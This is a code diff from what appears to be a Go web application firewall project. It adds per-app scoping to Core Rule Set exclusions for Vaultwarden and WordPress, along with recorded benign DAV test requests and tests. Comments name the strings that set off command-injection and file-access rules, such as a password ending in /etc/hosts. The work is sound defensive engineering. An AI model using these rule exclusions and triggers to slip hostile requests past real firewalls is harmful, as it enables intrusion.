+{"method": "PUT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 780", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/calendar; charset=utf-8", "If-None-Match: *"], "body": "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:DAVx5/4.4.9-ose ical4j/3.2.19 (at.techbee.jtx)\r\nBEGIN:VEVENT\r\nDTSTAMP:20261110T090000Z\r\nUID:f861af26-0f29-43a9-8d45-6b62a6e532c3\r\nSUMMARY:Python3 and powershell review\r\nDTSTART;TZID=Europe/Berlin:20261112T100000\r\nDTEND;TZID=Europe/Berlin:20261112T110000\r\nLOCATION:Room .htaccess\\, Python3 Street 2\r\nDESCRIPTION:We read the .htaccess files\\; run ls -la and python3 first.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nEND:VTIMEZONE\r\nEND:VCALENDAR\r\n"}
+{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 346", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:calendar-multiget xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\"><prop><getcontenttype /><getetag /><CAL:schedule-tag /><CAL:calendar-data /></prop><href>/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics</href></CAL:calendar-multiget>"}
+{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 328", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:calendar-query xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\"><prop><getetag /></prop><CAL:filter><CAL:comp-filter name=\"VCALENDAR\"><CAL:comp-filter name=\"VEVENT\"><CAL:time-range start=\"20260910T000000Z\" /></CAL:comp-filter></CAL:comp-filter></CAL:filter></CAL:calendar-query>"}
+{"method": "PUT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 801", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/calendar; charset=utf-8", "If-Match: \"f9b025a978cf3630a8f4626dc059ad6d\""], "body": "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:DAVx5/4.4.9-ose ical4j/3.2.19 (at.techbee.jtx)\r\nBEGIN:VEVENT\r\nDTSTAMP:20261110T090000Z\r\nUID:f861af26-0f29-43a9-8d45-6b62a6e532c3\r\nSUMMARY:Powershell\\, ls -la and python3 review\r\nDTSTART;TZID=Europe/Berlin:20261112T100000\r\nDTEND;TZID=Europe/Berlin:20261112T110000\r\nLOCATION:Room .htaccess\\, Python3 Street 2\r\nDESCRIPTION:We read the .htaccess files\\; run ls -la and python3 first.\r\nSEQUENCE:1\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nEND:VTIMEZONE\r\nEND:VCALENDAR\r\n"}
+{"method": "DELETE", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "If-Match: \"154f30851681c8504ece3e7b9535bf55\""], "body": ""}
+{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 179", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CS=\"http://calendarserver.org/ns/\"><prop><CS:getctag /><sync-token /><supported-report-set /></prop></propfind>"}
+{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 162", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><sync-collection xmlns=\"DAV:\"><sync-token></sync-token><sync-level>1</sync-level><prop><getetag /></prop></sync-collection>"}
+{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 377", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/vcard; charset=utf-8", "If-None-Match: *"], "body": "BEGIN:VCARD\r\nVERSION:3.0\r\nPRODID:+//IDN bitfire.at//DAVx5/4.4.9-ose ez-vcard/0.12.1\r\nUID:91b7145c-490b-4fc8-b87f-d7190a168ec9\r\nFN:Grace Powershell\r\nN:Powershell;Grace;;;\r\nORG:Python3 and .htaccess Works\r\nTITLE:ls -la operator\r\nNOTE:Teaches python3 and powershell\\; keeps the .htaccess notes.\r\nADR;TYPE=home:;;7 Python3 Road;Powershell City;;;\r\nREV:20261110T090000Z\r\nEND:VCARD\r\n"}
+{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 345", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CARD:addressbook-multiget xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><getcontenttype /><getetag /><CARD:address-data /></prop><href>/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf</href></CARD:addressbook-multiget>"}
+{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 399", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/vcard; charset=utf-8", "If-Match: \"4492d9aaf0b642fba38208a27412aba5\""], "body": "BEGIN:VCARD\r\nVERSION:3.0\r\nPRODID:+//IDN bitfire.at//DAVx5/4.4.9-ose ez-vcard/0.12.1\r\nUID:91b7145c-490b-4fc8-b87f-d7190a168ec9\r\nFN:Grace Python3 Powershell\r\nN:Powershell;Grace;;;\r\nORG:Python3 and .htaccess Works\r\nTITLE:.htaccess and ls -la operator\r\nNOTE:Teaches python3 and powershell\\; keeps the .htaccess notes.\r\nADR;TYPE=home:;;7 Python3 Road;Powershell City;;;\r\nREV:20261110T090000Z\r\nEND:VCARD\r\n"}
+{"method": "DELETE", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "If-Match: \"9445ef81cb239bb92fe4a963e0a9fe37\""], "body": ""}
+{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/2692072a-8832-45cc-8958-358528b26637/", "headers": ["Host: example.com", "Content-Length: 347", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><mkcol xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><set><prop><resourcetype><collection /><CARD:addressbook /></resourcetype><displayname>Python3 trainers</displayname><CARD:addressbook-description>Powershell and python3 contacts; ls -la first</CARD:addressbook-description></prop></set></mkcol>"}

internal/coreruleset/vaultwarden.conf

@@ -1,4 +1,4 @@
-# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
+# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
 # refused ordinary Vaultwarden requests there. They are the fields where
 # Vaultwarden receives a name, a password hint or an email address in plain
 # text, and the names of uploaded files. Each exclusion runs with the request,
@@ -17,6 +17,13 @@
 #   932250: ls -la
 #   932260: python3
 
+# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below
+# is skipped. Inspect sets tx.app_vaultwarden when it does.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_vaultwarden itself.
+SecRule &TX:app_vaultwarden "@eq 0" \
+    "id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
+
 # Names and password hints, in JSON bodies, skip the four rules:
 #   name: signing up, editing the account's profile, and creating or renaming
 #   an organization or a group, "python3 .htaccess team"
@@ -82,3 +89,5 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
 SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
     "id:900153,phase:1,pass,nolog,\
     ctl:ruleRemoveTargetById=920120;FILES"
+
+SecMarker END_VAULTWARDEN

internal/coreruleset/vaultwarden_test.go

@@ -7,6 +7,8 @@ import (
 	"slices"
 	"strings"
 	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
 // vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -30,7 +32,22 @@ const vaultwardenEmail = `{"email":"VALUE"}`
 func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
+	wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
+}
+
+func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {"vaultwarden"},
+	})
+
+	// An address for the data breach report, which only Vaultwarden's fixes
+	// let through.
+	report := get(vaultwardenBreachReport + "python3%40example.com")
+
+	wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(report, giteaHost), matched(932260))
 }
 
 // vaultwardenField is a field Vaultwarden receives in plain text: the

internal/coreruleset/wordpress.conf

@@ -1,10 +1,17 @@
-# The ninth change: on WordPress's paths, some fields skip the rules that refused
+# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
 # ordinary WordPress requests there. Each exclusion runs with the request, before
 # the rules it switches off, so this file is loaded before the Core Rule Set's
 # rules. Each comment names a request the rule refused. An exclusion on a field
 # of a body applies only when the query has no parameter of that name, so it
 # matters only while SWW_WAF_BODY_LIMIT is set.
 
+# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
+# skipped. Inspect sets tx.app_wordpress when it does.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_wordpress itself.
+SecRule &TX:app_wordpress "@eq 0" \
+    "id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
+
 # WordPress takes a call to its REST API at any of four addresses:
 #   /wp-json/wp/v2/posts/1
 #   /index.php/wp-json/wp/v2/posts/1
@@ -96,45 +103,11 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
         ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
         ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
 
-# Signing in, in pwd, which skips each rule that random passwords set off.
+# Signing in, in pwd, where a password holds any characters:
+#   930120: a password ending in /etc/hosts
 SecRule REQUEST_FILENAME "@streq /wp-login.php" \
     "id:900704,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:pwd "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
-        ctl:ruleRemoveTargetById=944150;ARGS:pwd"
+    SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
 
 # Saving through the REST API, the JSON fields title, excerpt and name skip these
 # rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
@@ -229,3 +202,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
 # so skips 932340 there.
 SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
     "id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
+
+SecMarker END_WORDPRESS

internal/discriminator/coreruleset_test.go

@@ -10,6 +10,7 @@ import (
 	"testing"
 
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
@@ -21,6 +22,7 @@ const (
 	wafDisabledRules    = "SWW_WAF_DISABLED_RULES"
 	wafExemptPaths      = "SWW_WAF_EXEMPT_PATHS"
 	wafBodyLimit        = "SWW_WAF_BODY_LIMIT"
+	apps                = "SWW_APPS"
 	block               = "block"
 	detect              = "detect"
 )
@@ -290,6 +292,27 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
 	}
 }
 
+func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
+	t.Parallel()
+
+	// Only gitea's fixes let a file name through in path, a parameter
+	// gitea sends file names in.
+	const fileName = "/?path=.gitignore"
+
+	s := startDiscriminator(t, "", map[string]string{
+		wafMode: block, apps: siteA + ":gitea",
+	})
+
+	wantDisposition(t, do(t, s.question(siteA, client, fileName)),
+		http.StatusOK, discriminator.DispositionAllow)
+	wantDisposition(t, do(t, s.question(siteB, client, fileName)),
+		http.StatusForbidden, discriminator.DispositionDeny)
+
+	lines := s.out.requestLines(t, 2)
+	wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
+	wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
+}
+
 func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
 	t.Parallel()
 

internal/discriminator/proxy.go

@@ -221,7 +221,8 @@ func newReputation(
 // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
 // without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
 // up to SWW_WAF_BODY_LIMIT, with the exclusions in
-// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
+// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS,
+// or nil while SWW_WAF_MODE is off. It
 // reads at most QuestionBodyMaxBytes less one byte: a question's body of
 // QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
 // JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
@@ -236,6 +237,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
 		ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
 		BodyLimit:      min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
 		ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
+		Apps:           cfg.Apps,
 	})
 	if err != nil {
 		return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)

internal/rproxy/question_test.go

@@ -331,7 +331,7 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
 func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
 	t.Parallel()
 
-	for _, method := range []string{http.MethodTrace, "MKCALENDAR", "BREW"} {
+	for _, method := range []string{http.MethodTrace, "BREW"} {
 		t.Run(method, func(t *testing.T) {
 			t.Parallel()
 
@@ -344,7 +344,8 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
 			got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
 			if got.status != http.StatusMethodNotAllowed ||
 				got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
-					"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK" {
+					"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
+					"MKCALENDAR" {
 				t.Errorf("answered %+v, want 405 naming the methods passed on", got)
 			}
 
@@ -370,7 +371,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
 		http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
 		http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
 		"PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH",
-		"LOCK", "UNLOCK",
+		"LOCK", "UNLOCK", "MKCALENDAR",
 	} {
 		t.Run(method, func(t *testing.T) {
 			t.Parallel()

internal/rproxy/rproxy.go

@@ -53,7 +53,7 @@ const ownEndpointPrefix = "/_sww/"
 // them. It answers any other method 405 itself.
 // The WebDAV ones are for Nextcloud.
 const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, " +
-	"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK"
+	"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, MKCALENDAR"
 
 // Params are what New needs.
 type Params struct {